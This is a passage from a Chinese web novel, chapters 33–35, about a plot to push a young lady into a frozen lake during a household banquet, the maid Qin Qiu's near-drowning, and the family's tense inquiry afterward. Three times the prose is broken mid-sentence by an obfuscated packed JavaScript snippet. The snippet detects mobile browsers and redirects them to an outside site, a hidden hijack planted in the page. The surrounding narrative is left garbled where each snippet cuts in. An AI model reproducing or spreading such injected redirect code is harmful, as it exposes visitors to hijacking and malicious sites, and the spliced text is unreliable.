刘从绥却是十分没有眼力见，挣开姐姐的手，小跑到郭云喧身边，道：“云喧姐姐，咱们一块儿去看看吧，你就一点儿也不想看吗？” “一点儿也不想看！”郭云喧斩钉截铁地答道，继续低头喝茶。 旁人见状，颇觉无趣，便都散了继续各自说话，也有抱着手炉在一旁看戏的，吴十娘暗暗心焦，刘从绥僵在那里，还待说话，门外却忽然传来一阵爽利的笑声—— “我来瞧瞧，你们在这边玩什么呢？” 33. 第三十三章 郭云静的忽然出现，简直是刘从绥的救星，她疾步迎上去，三言两语就道出了想去湖边看雨凇之事。 众人忙一一向刘二夫人行礼，郭云静笑着颔首，一一回望过去，与吴十娘只眼神交汇了一瞬便移开了目光，她此刻表现得像个极其慈爱的嫂嫂，对着刘九亲昵地说道：“你们若想去湖边，只管放心去，多叫几个人跟着便是！” 秦秋和青梧早在认出郭云静声音的一瞬，就往备食的角落里躲去，没办法，敌强我弱，只能躲了！二人背过身，垂着头，手上也没闲着，极其认真地在擦拭那两摞金边白瓷骨碟，但还是被郭云静的眼风扫到了。 自赏梅宴之后，郭云静一心想找茬，但是有了前车之鉴，她又不敢过于明目张胆，而秦秋在对上二房的人和事时，明显比以前更谨慎小心了，是以郭云静竟一直也没有寻到借口，能将她二人发作一通，那口恶气一直郁结在她胸口。 想到待会儿湖边即将发生之事，郭云静在心里冷笑数声，假装极其随意地一指，道：“你们几个，还有那边角落里的两个，都是老成持重的，好生带着姑娘们去湖边游玩。” “可仔细着儿，若是出了一星半点儿差错，小心你们的皮！” 秦秋觉着，郭云静这话几乎是磨着牙说出来的，“磨刀霍霍向猪羊”大概就是这个声音。 郭云喧有些意外地看着眼前这一幕，好个一石二鸟之计，若她在湖边真出了事，秦秋和青梧两个正好落个照顾不力的罪名，自是免不了一顿责罚！她这个姐姐，何时变得如此狠毒了！ “你也别愣着了，这朗州的雨凇确实是一大奇景，益州可是难得一见的，你与她们一块儿去瞧瞧吧！”郭云喧正为秦秋二人担忧，转头就见刀剑闪着寒光，向她逼来。 郭云静笑得一脸温柔，伸出一手递到郭云喧面前。 郭云喧抽了抽嘴角，只得把手放在对方掌心。 “太好了！”刘从绥走上前，挽住郭云喧另一只手，笑说道，“云喧姐姐方才还不愿意出门，还得是二嫂出马！” 吴十娘忙趁势也挤到三人中间，郭云静极其随意又十分凑巧地将自己握住的那只手往边上一塞，郭云喧的手就这么被塞进了吴十娘手里，她被刘九和吴十夹在中间，推着走出了燕语阁。 旁人见刘二夫人如此热情地张罗，谁不给面子，也都纷纷起身，缓缓跟在后面，一行人往莺舞榭的方向逶迤行去。 秦秋和青梧等一众丫鬟只得战战兢兢地去引路开道。 前院，尉迟延陪着刘从俭招呼了半个时辰宾客就觉索然无味了，他随意寻了个由头就躲到了外书房，还不忘将刘从俭的得力下属萧举年一并拐走。 三人昨日出城游玩，尉迟延看上了不少农家土物，此时跟萧举年二人围坐在炭盆边上烤火，他忽然就从衣袖里掏出一个纸包。 萧举年脖子一伸，只见风度翩翩的尉迟六郎，衣袖里藏着的竟然是一包兔脯，他摊开纸包，拈了几条，直接徒手架在炭盆之上烘烤起来。 萧举年哭笑不得，道：“府上今日有新鲜的鹿肉和兔肉，郎君若是想吃烤肉，何不命人送些过来，烤炉架子也是现成的。” 尉迟延极其得意地一笑，道：“你个读书人懂什么，昨日那猎户说了，这兔脯是他进山打的兔子风干的，这般烤着吃，香着呢！” 二人在外书房吃了几块烘肉脯，尉迟延又觉口干，喝茶也不解渴，便提议道：“咱们去湖边走走吧，吹吹冷风，降降火气。” 萧举年面露迟疑，道：“今日女眷众多，怕是不妥吧？” 尉迟延早已起身披上鹤氅，又将萧举年的外袍递给他，咧嘴笑道：“有何不妥的！她们的宴席设在眠鹤院那头，咱们往另一头的莺舞榭走不就妥了？再说了，大过年的，没什么好避讳的，即便撞上了，大大方方行礼避开就是，咱们又不是刻意去做轻薄下流事的，怕什么！” 萧举年见他坚持，只好起身披衣，二人一同去了。他心里亦藏着一点私心，若是能碰上秦秋，也好，他也是想当面拜个年道声好的。 两拨人马便这么不约而同地向着莺舞榭行去。 一想到二房夫妇，一个早上领了人过去，一个这会儿拼命地安排人过去，青梧就止不住地为郭云喧担忧。一担忧，她就拼命地拽着秦秋往郭云喧身边凑。众目睽睽之下，秦秋又没法弄出太大动静去甩开她，阴差阳错地，二人就站在了郭云喧一步之遥的正前方。 秦秋和青梧不紧不慢地引着众人前行，紧随她二人身后的是虞七、刘九、吴十和郭云喧。众人走了约莫一刻钟，就见前方矗立着一座两层的水榭，此时水榭门窗紧闭，若不留神去看，绝不会发现那水榭二楼的窗户，其实推开了一道细缝。 吴四郎一眼就认出了妹妹身边的美人儿，先前来刺史府赴宴时他就远远地见过郭云喧两次，此时一见更是神魂颠倒、丑态毕露，喜得手舞足蹈起来。又想到刘从裕的布局，他忙脱下狐裘，匆匆地小跑至莺舞榭一楼临水的窗户边上候着，只等着美人落水，“赴宴醉酒、被安置在此处小憩”的他好英雄救美。 越靠近前方的水榭，郭云喧就越发察觉到吴十娘的紧张。郭云喧微微转了转脖颈，几不可察地瞟了身后一眼。谁也不曾留意，郭二姑娘的随身丫鬟，寄竹，一双眼睛死命地盯着吴十娘，随时要贴过去的模样。 “十娘，快瞧！你说的便是那几棵山楂树吧！还真是现成的冰糖葫芦！”刘从绥兴奋地拍手说话，雀跃着想去拉吴十娘的手。 此时她们几人正走在一个狭窄的拐弯处，前面领路的秦秋和青梧刚向左一拐，郭云喧和吴十并排紧随其后。 就是此刻！吴十娘心一狠，趁着刘九向她走来，她脚步一错，让刘九帮她挡了后面众人的视线，而自己则双手用尽全力地去抱郭云喧的腰，试图一抱一推。 不料，郭云喧早有准备，竟在她发力的瞬间忽然喊了一声“青梧，那是什么地方”，同时自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807287|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向前一个跨步，竟让吴十娘扑了个空。 吴十娘一愣，呆呆地看着对方，还没等她想明白，身后就一股大力袭来，不，是撞上她，她本就才使劲全力去推别人，此时刚卸了力气，就被狠狠一撞，整个人站立不稳，立时就往湖里跌去！ “十娘小心！”刘从绥尖叫着伸出右手想去拉她，而左手想也不想地就去攀扯离她最近的人，虞七娘。 一切都发生得极其迅速，寄竹撞了人就闪身躲开，谁也不曾看清。 吴十拉住刘九，刘九又死命拽着虞七，虞七莫名被人牵住往前跌去，于是又拼命地伸手去抱她前面那人。 就这般接二连三、牵五挂四，等青梧和郭云喧反应过来要去拉住秦秋时，已经来不及了，只能眼睁睁地看着秦秋被扯进了湖里。 尉迟延和萧举年从另一头走来，一拐到湖边，撞见的便是这幅场景。 只听几声尖叫，而后就是一下接一下的“咚咚”落水声。萧举年甚至还能捕捉到秦秋脸上久久不散的错愕。 就在秦秋落水的一瞬间，萧举年只觉一阵气血向上涌去，还没想明白是怎么一回事，人已经疾步奔过去，等反应过来时，他已经身在湖里了。 而在岸上的众人，早被这陡然而生的落水变故惊呆了，直至看到两道挺拔的人影扑进水里，才纷纷回过神，惊呼求救。所幸守在湖边的婆子有几人熟识水性，见状亦纷纷扑进水里。 秦秋本就畏寒，穿得要比旁人厚重，今日怀里还揣着一个汤婆子，毫无防备地被扯入水中，正月的湖水冰冷刺骨，她只觉有千万根冰锥同时扎进她的骨头里，在岸上的人看来落水不过一瞬，而身在水里的她，已经觉得受了万年的酷刑！ 秦秋觉得自己要死了，临死之前她只想狂啸：呜呼！冤哉！她到底做错了什么！这一切与她何干呐！ 只是才一张嘴，呛进口鼻的湖水更是冻得她五脏六腑都几欲移位。秦秋放弃了挣扎，迷迷糊糊闭眼之前她在想，她娘在给她烧纸钱和旧衣的时候，千万要检查一下她的枕头，别把一百两银票给烧了，那样她真会死不瞑目的！ 忽然，秦秋觉得自己被人抓住了。一道结实的胳膊从身后绕过她的整个前胸，托举着她向后而去。下一瞬，她感觉有好多双手在扒拉她，她被人像上扯着，终于离了那寒冰地狱！她被放倒在地，地上又硬又凉，但是还好她们没丧失良心，给她垫了不晓得是谁的大氅或裘衣，她想睁开眼睛却睁不开。 又是一道大力拍向她胸口，有人将她扶起来，在拍她的背，喉间有些痒，秦秋咳了一声，吐了出来。 睁眼时，秦秋看到郭云喧和青梧的脸在眼前交相闪过，可想不到，离她最近的，她看得最清楚的，却是萧举年的清秀面庞，湿淋淋的头发、青白的面皮和乌黑的嘴唇。 “萧录事？你也落水了？”秦秋的声音沙哑，刚问出一声，就听旁人有人大喊—— “快，快将三位姑娘送去燕语阁！” 34. 第三十四章 虞七等人一落水，早有守在岸边的婆子跑去眠鹤院报信，生怕去晚了自己被牵连受罚。 郭云静心头暗喜，只当是吴四郎与吴十娘已经合谋成事了，她满面惊慌地就要搀着刘母亲自前去查看，还是裴明霜将人拦了下来，一面差人去请大夫，一面遣人在燕语阁腾出房屋、备下热水与换洗衣服，又忙暗中提醒刘母稳住前来赴宴的女客。 刘母这才找回心神，由着裴明霜安排，最后只让郭云静一人前去。 郭云静只好领了几个人，忿忿地出了眠鹤院。方才，她明显感受到刘母的眼神出现了极大的变化，对着裴氏是赞赏，对着自己则是失望。可她无法，只得自己忍着气往湖边快步行去，但愿吴家的人中用些！ 再说那头，吴四郎甫一入水，就直骂刘从裕出的是馊主意。饶是他水性再好，也抵不住这深入骨髓的寒冷。他自己都险些被冻住手脚，不溺水就是命大了，哪里还能救人！且水里下饺子似的一下掉进了四个人，浑身都快被冻麻了的他，根本分辩不出谁是谁，只恨不得独身游回岸上！ 可是，人都已经跳进湖里了，若是这般空手游了回去，面上如何交待！吴四郎后悔不迭，只好一面暗骂刘二，一面胡乱抓了一个人就往岸边游去。 最后，岸上众人所见便是，有如天降神兵般出现在湖边的萧举年救下了一个丫鬟，从水榭跳窗而出的吴四郎救下了刘八姑娘，刺史府的婆子救下了虞七娘和吴十娘。 三个小娘子被救上岸时业已昏厥，这才有了先前仆妇们嚎的那一嗓子。 郭云静领着心腹匆匆赶到时，迎面而来的场景让她几欲昏死过去！ 只见几个强壮的婆子抬着虞七、刘八、吴十，边上还跟着一个落汤鸡似的外男吴四郎！而她的好妹妹却不见踪影！ 郭云静此时恨不得掉进湖里的是自己，这下可完了，三个小姑娘掉进湖里，还有两个是来府上的宾客，老太太非得把她活剐了不可！ 等人群嗖地一下散尽，完全没人在意落水的丫鬟，郭云喧才急忙说道：“快，先把秦秋送去清渊阁，那儿最近！寄竹，回去要热水！萧录事，劳烦你——” “带路！”一语未了，萧举年已经起身抱着秦秋就跑。 此时，他们身边只剩一个尉迟延了。 秦秋说完那句话，才后知后觉浑身都在打颤，牙齿不自觉地上下乱碰，咔咔作响。萧举年抱着她跑得飞快，可萧举年的怀抱也是冷的，直至他们几人进了清渊阁，秦秋被放进一张被褥里，她才察觉到些许暖意。 人一放下，郭云喧顾不上喘气，忙对着萧举年和尉迟延二人说道：“两位郎君，请速回避。寄竹，快带萧录事去东厢，换一身干衣服！” 萧举年也不敢耽搁，撒手就要走，秦秋却用尽最后一丝清明拽住他衣袖，萧举年回眸，只见秦秋浑身发抖，颤着声，费力地往外蹦着话：“萧录事，烦你，请大人，速回后院。二夫人，必会，借题发挥，发落，我等。求大人！救命！我，我，可以，帮大人，联系，卢，卢大掌柜！” 秦秋说完，两眼一翻，彻底冻晕了过去。 青梧尖叫一声扑上前，伸手就去扒秦秋身上的衣服。 郭云喧急得跺脚，吼道：“你们倒是先出去呀！” 尉迟延回神，一把拉住萧举年，退至门口，寄竹忙将二人引到东厢的一间空屋，递过一套干净衣物，道：“萧录事，这是找小厮要的衣裳，请录事将就着先换上。那个桶里是滚烫的热水。”说完，寄竹亦赶紧出去。 尉迟延见状，伸手就去帮萧举年脱衣服，却被萧举年捉住手，急声说道：“快，你去寻大人！” 尉迟延一愣，萧举年只一个劲地催促：“快呀！方才的话你听到了！那可是救命的事！” “好，你自己当心些！”尉迟延忙撒腿离了此间。 直至此时，萧举年才慢慢找回神智，方才全幅心神都在秦秋身上，并未觉得多冷，现在冷静下来，才觉身上像裹了一层冷湿的水草，他忙三两下除去衣物，浑身浸在热水桶里泡了一刻钟，才敢大口喘气。 自己一个壮年男子尚且如此，不敢想象秦秋该有多冷！萧举年挂念着旁人，等身体稍微回暖，他就匆匆从热水桶中起身，三两下擦干身体，换上干净的衣物，又踱到了方才那间屋子外头。 寄竹依旧候在外间，见萧举年已换好干净衣物，忙将他引去火盆边落座，又递给他一碗姜茶。 萧举年接过，并未立时饮尽，而是引颈望向里间，道：“秦秋怎样了？” 寄竹咬咬唇，想了想，人都是眼前的萧录事救的，也没什么好避讳的，忙道：“还在浴桶里泡着，方才又送了三桶热水进去，还特意加了驱寒的姜叶。” 寄竹刚说完，就听几道杂乱的脚步声纷至沓来。 萧举年本就悬着的心又是一揪，寄竹亦是屏住了呼吸，二人屏气敛息，齐齐看向门外，生怕是二房来人。 萧举年虽然不晓到底发生了何事，秦秋又是因何落水，但是方才，秦秋都冻得命悬一线了都得交待那番话，可想而知，这背后定有故事！想也不用想，以秦秋的聪慧，她要么是被连累的，要么就是遭了二房的毒手！真是该死！ 萧举年一副如临大敌的模样，紧盯着门口，心道，即便是二房来拿人，他今日也要拼死拦下！ “秋儿！我秋儿呢？”李氏和六婶携手而来，身后还跟着两个仆妇，看样子，也是刺史府的人。 萧举年长舒一口气，忙将手里的姜汤放下，起身拱手说道：“秦婶，六婶，秦秋在里面。” 李氏无暇多想，为何萧举年会出现在此地，听了这句话只略一点头，就疾步往里冲了进去。萧举年这才又坐下，把那碗有些凉了的姜汤一饮而尽。 而此时的燕语阁，被裴明霜悄悄请过来的虞母和吴母，已是哭声震天。 同秦秋一样，虞七娘、吴十娘和刘从绥在路上就已昏死过去，等进了燕语阁，她们也是人事不知地由着丫鬟们泡进浴桶、换上干衣、安置在床榻之上。 被裴氏请来的大夫，一一为三人诊过脉，只道是受了极寒所致，需驱寒保养云云。至于此寒到底对身体有何损伤，大夫只是皱眉。 燕语阁的其余女眷已被请到眠鹤院，由刘家的族亲招待。 此时的燕语阁正堂，刘母的脸色冻得比湖边的雨凇还要僵硬。郭云静垂着头，冷汗涔涔。 “说！怎么一回事？这落雪的天，几个小娘子不在屋里待着，为何会去湖边？又为何会掉进湖里？八丫头，你来说，到底是怎么一回事？” 刘从绵从未见过自家伯娘如此可怖的脸色，她瑟缩了一下，又想到妹妹此时还昏迷不醒，便哭着说道：“吴家娘子说要去看雨凇，我本来劝她们不去的，可，可绥儿也想去，然后，然后——”说到这，刘从绵一顿，抬眼看了一下郭云静。 郭云静腿一软，若不是春雪扶着，她几乎立时就要瘫软在地。 刘母自是没错过二人的小动作，她冷冷地扫了郭氏一眼，声音粗砺：“然后呢？” “然后二嫂来了，说只管放心地去瞧，多带些人就是。所有人便都去了。”刘从绵抽抽噎噎，继续道，“我离得远，绥儿跟虞家娘子一块儿走着，郭二姑娘跟吴家娘子一块儿走着，然后不知怎的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815929|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就听见落水声了，一个带一个。” 刘从绵话音刚落，郭云静便扑通一声跪了下去，含泪道：“都是儿媳的错，是儿媳没有管好底下的人，才致她们护主不力，儿媳这就重罚她们！”说完，扭头对外喝道—— “方才跟去湖边的丫鬟，全都押去柴房，每人杖四十，革去半年的银米，明日逐出内宅，发落到庄子上！” 刘母冷笑一声，正要开口说话，一道低沉的男声已经在门外响起：“慢着！” 刘从俭大步跨进了燕语阁，身后还跟着尉迟延。 郭云静扭着的脖子一僵，眼底闪过恼怒，心下暗恨，这个尉迟六郎是她的克星吧，自从他来了府上，自己就事事不顺心！大伯也是，此时不是该在前院待客吗？这又是谁做了耳报神！郭云静绞紧了手中的丝帕。 “大郎，前院——”刘母对二人的到来也是意外。 “母亲放心，有二弟和三弟、以及族中几个叔伯在，前院一切都好。”刘从俭在郭云静左侧三尺之处站定，对着刘母恭敬一揖，才扭头看向她，道，“二弟妹便是这么管家的？出了这么大的事，不问青红皂白，只知发落底下人？” 郭云静吃瘪，此刻她跪着，刘从俭站着，气势上就先输了一截，更何况她心里有鬼，被刘从俭这么一问，一时语塞，无以言对。 刘母叹道：“大郎，你回前院待客，这事我自有道理。”刘母说完，却见刘从俭难得的驳了她的话。 “母亲，此事恐不简单，怕是内贼外鬼相勾连，还是儿子来问吧。” 刘母一愣，刘从俭已将目光转向刘从绵，直看得刘从绵也紧张起来。 “八妹妹，我方才未听全，你再说一次，今日是谁提议去湖边的？” 刘从俭话音刚落，刘八尚未开口，郭氏已按捺不住，她仰着头，道：“大伯这是何意？我一个当家夫人，见小辈们想去湖边戏耍，我遣人随她们游湖还有错了？” 刘从俭连眼珠都懒怠转一下，只平静地注视着刘八，道：“八妹妹？” 刘母叹了一口气，缓声说道：“八丫头，你兄长问你话呢，但说无妨。” 刘从绵只觉屋内众人的视线都胶在了自己身上，她微微垂着眼，嗓子发涩，轻声道：“是吴十娘和二嫂。” 刘从俭点头，继续问道：“她们又是如何落水的？” 刘从绵摇头，道：“离得远，没看清。” “谁是第一个落水的？” 刘从绵继续摇头。 刘从俭话锋一转，忽然看向郭云静，道：“那跳湖救人的男子是谁？现在何处？为何会出现在湖边？弟妹可查清了？” 郭云静动了动手指，不敢去看旁人，只闷声说道：“不过是府上的宾客，去湖边吹风，见到有人落水就跳下去救人，内宅之地，岂是外男可以久留的，我已将人送回前院了。” 尉迟延却突然开口，道：“不对吧，跳水救人的我看清了，是吴四郎！我看得真真的，他是从莺舞榭跳下去的。满府男客皆在前院，那吴四郎为何独在湖边的水榭？吴十娘闹着去水边玩，吴四郎就刚好等在水边救人，这不免太巧了些？依我看，这怕不是个局吧！只是做局的人没做好，自己也落水了！” 尉迟延此话一出，屋内众人都大为惊骇，齐齐暗道，似乎也不无道理。 却又听一声怒吼传来：“这位郎君此话何意？我女儿落水，至今未醒，郎君之意，是我女儿故意做的局？你们刺史府未免欺人太甚！” 众人转头去看时，只见一个华服妇人哭嚎着冲进屋内，不是吴夫人又是谁，她身后还跟着另一个苦主，虞夫人。 35. 第三十五章 吴夫人进得屋来，先狠狠地剜了尉迟延一眼，尉迟延也不甘示弱地把眼一翻。 吴夫人心头火起，但见对方衣着华丽、仪表不凡，她又不敢十分发作。吴十娘落水，她虽有几分心痛，但也不十分痛心，反正落水之事已发生，如何多谋些好处才是她心中所思。 于是，吴夫人掉转了视线，转向刘母和刘从俭，声音仍是满含悲愤：“老夫人，刘大人，吾携吾儿来贵府赴宴，竟受此无妄之灾，老夫人和刺史大人难道不给我二人一个说法吗？”说完，不忘扯了一下虞夫人的衣袖。 虞夫人脸上的哀戚倒是更真切，连妆容都哭花了。她二人方才本在隔壁屋子照顾女儿，是吴夫人先听到此间动静，闻得隐隐有争执之语，又认出刺史之声，吴夫人便不由分说地拽了她同来此间，道是要个说法。 虞夫人本想给刘府台阶，她清楚刘母的为人，定会在厘清来龙去脉之后给她一个交代。可眼下吴夫人这般说了，她也不能不表态，只得痛声说道：“家慈和外子最疼小女，晨间她欢欢喜喜地出门赴宴，等晚间归家，他们问起，我该作何解释？是我这做母亲的疏于照顾，还是贵府有意为之？” “正是！我的儿啊！”吴夫人适时哀嚎一声。 裴明霜见状，忙上前引二人落座，二人初是不肯，奈不住裴氏又是赔着笑脸、又是说着软话，二人念着裴氏的出身，到底不敢太要强，拉扯了一通才半推半就地在刘母左下首坐了。 等二人坐定，裴明霜又亲自为她二人奉上茶水，柔声说道：“是府上照顾不周，才致两位千金遭无妄之灾、被风寒所欺，我等万难辞其咎。请二位宽心，大伯治理朗州十数年，不敢说断案如神，但也定会将此事查得一清二楚。此事究竟是意外还是人为，若是人为，相信大伯定会严惩那为祸之人。” “可——”吴夫人坐不住，刚开口就听裴明霜继续说道—— “方才，我家老太太还在说，对两位小娘子深感歉疚，断不能再给二位府上添忧，若是再扰了吴老夫人和虞老夫人的安宁，叫我们如何过意得去！正想请二位夫人过来商议，我家老太太想留下两位小娘子在和熙堂安养，等她们大好了再送回贵府，不知两位夫人意下如何？” “两位夫人请放心，落水一事定不会有一个字传到刺史府外头。只说我家老太太实是喜爱两位小娘子，留她们在此作伴，可使得？” 裴明霜一口气说完，虞、吴二人俱是心头一跳，这是她们心里想的那个意思吗？二人齐齐看向刘母。 刘母满脸歉意，极其肯定地对她二人颔首。 吴夫人心里的三分悲痛，又转了两分为狂喜，刘老夫人这是承诺，刘刺史的续弦定是在她女儿和虞家的之间了！ 她压了压嘴角，才让自己不至于失态，掩袖叹道：“老夫人和三夫人这般，我也没什么好说的了。只是，方才这位郎君，口口声声说我家四郎和十娘做局，这事可得给我一个说法！空口白牙的，凭甚倒打我们一耙！” 这就是大伯和二嫂的事了。裴明霜对着刘从俭微一欠身，退回刘母右下首站着，意思很明了，事情的真相如何，大伯，请吧！ 刘母仍端坐在正首的紫楠木交椅上，目光复杂地看看身侧的两个儿媳。郭氏早在虞、吴二人进来之际就自主起身了，她到底是刘二夫人，当着外人的面，她没有跪着的道理。 此刻，郭氏不用抬眼也知道，刘母那赞许的目光不是给她的。 虞夫人此时亦开口说道：“吾儿和刘九娘子、吴十娘子现今都昏迷不醒，落水一事，真相到底如何，按理等她们醒来一问便知。只是做母亲的心焦，等不得，我听说落水的还有一个丫鬟，不知可否把她拘来问话？” 刘从俭还未开口，尉迟延已经气不过，冷声说道：“你们这些人，平日里去寺庙捐香火倒勤快，真碰着事却是半点菩萨心肠也无！怎么，同样是落水，你们家的女儿是女儿，旁人家的女儿就不是女儿了？你们家的姑娘受不得风寒，人家丫鬟就活该是铁打的身子？还拘来问话？呵！我还以为虞家的眼界多少要高些，想不到，呵，半斤八两！” “你——” “你——” “六郎，你是府上的贵客，怎也被耽误在此！大郎，你失礼了，怎把六郎带了过来？木樨，你送尉迟郎君回前院，好生招待，不可失了礼数！”眼见着虞、吴二人变了脸色，刘母忙出言开脱，话是冲着旁人说的，可听却是让虞、吴二人听的。 天底下姓尉迟的、又与刘府交好的还能有几家，难怪此人生得英武不凡！二人的骂词到了嘴边，又咽回肚子里。 刘母说完这番话，才皱着眉头问左右，道：“怎么？还有人落水吗？人在哪儿？” 左右侍立之人面面相觑，人人心惊，这，没听说还有丫鬟落水啊！是哪个倒霉催的，该不会无人施救在湖里溺死了吧！这个时节，不溺死也得冻死！ 木槿眼皮直跳，她方才进燕语阁时，眼睛就一直搜寻秦秋的身影，只是那时手忙脚乱地顾不上，眼下这么一问，她心头忧虑更甚，那人该不会是秦秋吧？她忙看向尉迟延，听他话里的意思，他定是知晓了。 刘母见无人答她，又看向郭氏，疾言厉色：“到底几人落水？怎么，你也不知？你到底是怎么管家的？” 郭云静被问得双膝一软，险些又跪下。 天杀的，她怎么晓得有几人落水！这湖边那么多丫鬟，有人跳下去救人也不稀奇，死了就赏她两套体面的衣裳妆裹呗，还待如何？难道还要她为一个丫鬟去请太医不成？又是尉迟六郎勾起的，怎么不是他掉进湖里淹死！ 吴夫人正想为刚才受到的奚落找场子，见刘府的当家人一问三不知，她面上不禁添了三分得意，冷笑道：“怎么？连我和虞夫人都听说了，府上竟还不知！方才是谁说我们佛口蛇心，不把丫鬟的命当人命的？呵！对了，我还听说，跳下湖救人的除了我家四郎，还有一个什么，萧什么录事？刺史只说吾儿有嫌疑，怎不说那个录事？！” “录事？举年也在？”刘母皱眉看向刘从俭。 刘从俭微微颔首，看向虞、吴二人的眼神中带着一股不怒自威的味道，说道：“两位夫人稍安勿躁。刘某方才问话问到一半，就被诸位接二连三地打断。诸位既都心存疑惑，不如让刘某继续问话？” “大人，请。”二人齐声说道，面上略有些不自在。 众人只见刘从俭嘴角轻勾，道：“两位夫人进门之前，我正问到吴四郎为何会出现在莺舞榭。但是吴夫人显然不满，六郎，你来解释一二。” 尉迟延见刘从俭看向他，忙道：“我与举年在外书房有些气闷，又不想陪你在前院应酬，我便拉着他去湖边散闷。我知晓今日府中设宴，女眷的宴席在眠鹤院跟燕语阁，所以特意选了湖对岸的莺舞榭方向，以防不小心冲撞了女眷。” “我哪晓得，一个个娇滴滴的姑娘家，有这兴致出来吹冷风啊！我们远远地瞧见有人，本想避开，可是突然见有人落水，举年热心肠，就跳进湖里救人咯。”尉迟延显然还觉着他二人有些委屈，转头见吴夫人又要张嘴，忙添了一句，“但是那位吴四郎好生奇怪，他怎会事先待在水榭？你们府里有冬日在水榭待客的规矩？说是待客也不像啊，就他一人！” 是啊，人家是到湖边散闷，无意撞上的，可你吴四郎又是怎么回事？众人投向吴夫人的目光不免再次露出几分怀疑。 尤其是虞夫人，她不禁想到，若真是吴家做的局，会不会就是冲着她女儿去的？那吴四郎臭名昭著，若是她女儿在水中是被吴四郎所救，眼下吴夫人是不是该找她商议亲事了？而那刺史夫人之位，不就刚好落在吴十娘的手中？ 虞夫人不寒而栗，看向吴夫人的目光已不是怀疑，而是带着几许不善。 吴夫人脸上挂不住，面皮又紫胀起来，瞪着尉迟延，道：“我儿，我儿，说不得我儿只是醉酒，他与府上二爷交好，定是二爷将他安置在那处醒酒！否则他怎会识得后园的路？二夫人，你说是不是？”说完，她求救般地看向郭氏，只差说一句“把二爷唤过来一问便知”。 郭氏却是别过脸，生怕旁人看出端倪。 尉迟延立时反唇相讥，道：“还没开席就醉了？是我孤陋寡闻了，原来你们朗州盛行喝醉了再去别人家赴宴！” “你——” 刘母见尉迟延又跟吴夫人杠上了，她只觉头疼，只好出言解开，问道：“既是举年也救了人，他现在何处？你们可看清了她们到底因何落水？” 尉迟延一顿，瞟了刘从俭一眼，方道：“我二人去湖边时，只瞧见她们落水，至于为何落水却没看真切。先前府上奴仆都忙着施救那三位姑娘，无人理会那落水的丫鬟，郭二姑娘好心将那丫鬟带回她的住处了。举年送了人过去，此时应是回到前院了。” 木槿心头一松，刘母却是五味杂陈，但是面上一脸宽和，点头叹道：“幸好！幸好！那丫鬟想必是跳下去想救人。幸好郭家丫头心善，否则我们该怎么对她父母交待！虽是丫鬟，但也是人命啊。”这显然是在为先前尉迟延的诛心之言找补了。 可吴夫人还是不满，凭什么同样是跳水救人，她儿子就落了个嫌疑，这个什么萧录事就落个心善，对了，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郭云喧冷笑道：“这位夫人，我好心来告知真相，你反倒诬陷我，这是何道理？我推她们三个？眼下宾客未散，夫人大可去向旁人求证，今日是不是吴十娘子百般邀约旁人去游湖赏雨凇的？我是不是再三推脱，无奈陪同的？我亦险些被牵连掉进湖里，只因当时那个丫鬟离我最近，她反应极快地拉了我一把，自己却因此落水，我——” 说到此处，郭云喧哽咽起来，忍不住掩面拭泪，又带着泣音转头看向刘母，道：“老夫人，府上的丫鬟今日救了我一命，她自己却落水受寒，至今昏迷不醒，我此时前来是想替她求一个恩典，可否容她父母接她回家将养照顾？” 刘母只得点头一叹，道：“虽说照顾主子本是她分内之事，她即便因此殒命也是应当的。可人皆有父母，父母爱子之心并无二致。三个小娘子昏睡在隔壁，旁人尚且如此痛心。想来，她的父母见她如此也定是心痛如绞。府上向来宽仁待下，我应你便是。木槿啊，回头你再寻些东西赏她。” “多谢老夫人！”郭云喧和她身后的一个仆妇齐声说道。 刘母这才看清来人，道：“你是秦实家的？跳水救人的莫非是？” 那句“即便因此殒命也是应当的”仍刺在李氏的心头，女儿说得对，即便日子再安稳又如何，他们的一切皆被视为恩赏，好与坏都要谢恩。 李氏心头在滴血，面上却要感激涕零，含泪答道：“回老夫人的话，正是我家丫头。能救了主子是她的福分，只眼下她也没法当差，待我将她带回去，养好了身子再送回凝晖轩。” 话到了这份上，郭氏若是日后想再提发落丫鬟的话，就是毫无道理了。郭云静只得咬牙。 落水的真相到此时业已明了，虞夫人的心里十足十地信了今日是吴家的局，她恨毒了吴家，眼前暂时咽下这口气，只待回府之后再做打算。 刘母也是宽了心，原本要担个主家重大疏失的罪名，可现在一番对峙下来，刺史府倒显出了几分无辜。 惟有一人不满，那就是吴夫人。说到最后，似乎即便今日不是她家做局，也是她女儿咎由自取了，她如何能甘心！ 吴夫人眼波一转，又抓住了萧举年，咕嚷道：“那他又是怎么一回事？怎么我儿救人就让你们百般猜疑，非说是我们吴家的预谋，他平白无故为何非要跳进湖里救一个丫鬟？怎不见你们疑他？” 